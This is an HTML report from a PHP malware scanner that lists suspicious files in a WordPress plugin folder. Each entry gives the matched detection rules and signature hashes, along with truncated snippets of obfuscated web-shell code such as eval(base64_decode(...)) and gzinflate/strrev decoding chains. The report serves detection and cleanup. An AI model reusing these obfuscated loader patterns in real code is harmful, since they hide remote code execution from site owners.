<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_306").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/ackjnoxi.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:40:44</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:40:44</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_307" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_307").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/uvfbg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 14:50:51</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 14:50:51</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_308" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_308").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/eqdicors.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 162.35 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:57:23</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:57:24</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_309" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_309").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/lwndogdp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 18.39 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 20:50:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 20:50:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_310" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c/juEh/AfiDfMR0ZKIsL...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$BMQDa</span><span style="color: #007700">(</span><span style="color: #0000BB">$WUlxk</span><span style="color: #007700">(</span><span style="color: #DD0000">'eJytu3VQnU23PYi7e3B3d3d3CX5wd4K7BoIHgru7u7sT3CG4u7vlx0vyvXfuvTM1VVPTp07zPHuv3nv12n2o6j82DIyJg4Odg56Dib2dg5OFrRklIxUPjKCFrYWeo4kTJcUfr7WdGQUtobyqrOx/c76b9T4Aju/e/77O2MLR3trA/b+7YUyMzO0IKXgNHfgpeGAsTAkpiUydbY2cLOxs9UzcLBydHCkpzE3cmA0tbCmoqDwJ/+Mk/GukJH1/cHRyeHeR2hLyEb4/Wpv8l5WHkNTxHcVHQfH+ZMHHyEPoam5hbUJJasFLavvPGgNCPkdnw3fof5bQklrQMv+zzug9mr2BkRUlsSQ1MS2pwbvtH3rvUfgYqTz/hCU14vEmNLF2NCH8Y6D/YyG1oOFj5iH0JnQwcXJ2sP3D4Z93b5j/hy2auNlb2xmbvG+R0BOGkPC/tvnXQUn6D7V3ug4OBu5/Me/jb/x3XS2c...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9WZw</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_310").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/tmxwk/oosmg.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-23 18:08:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-23 18:08:40</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_311" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
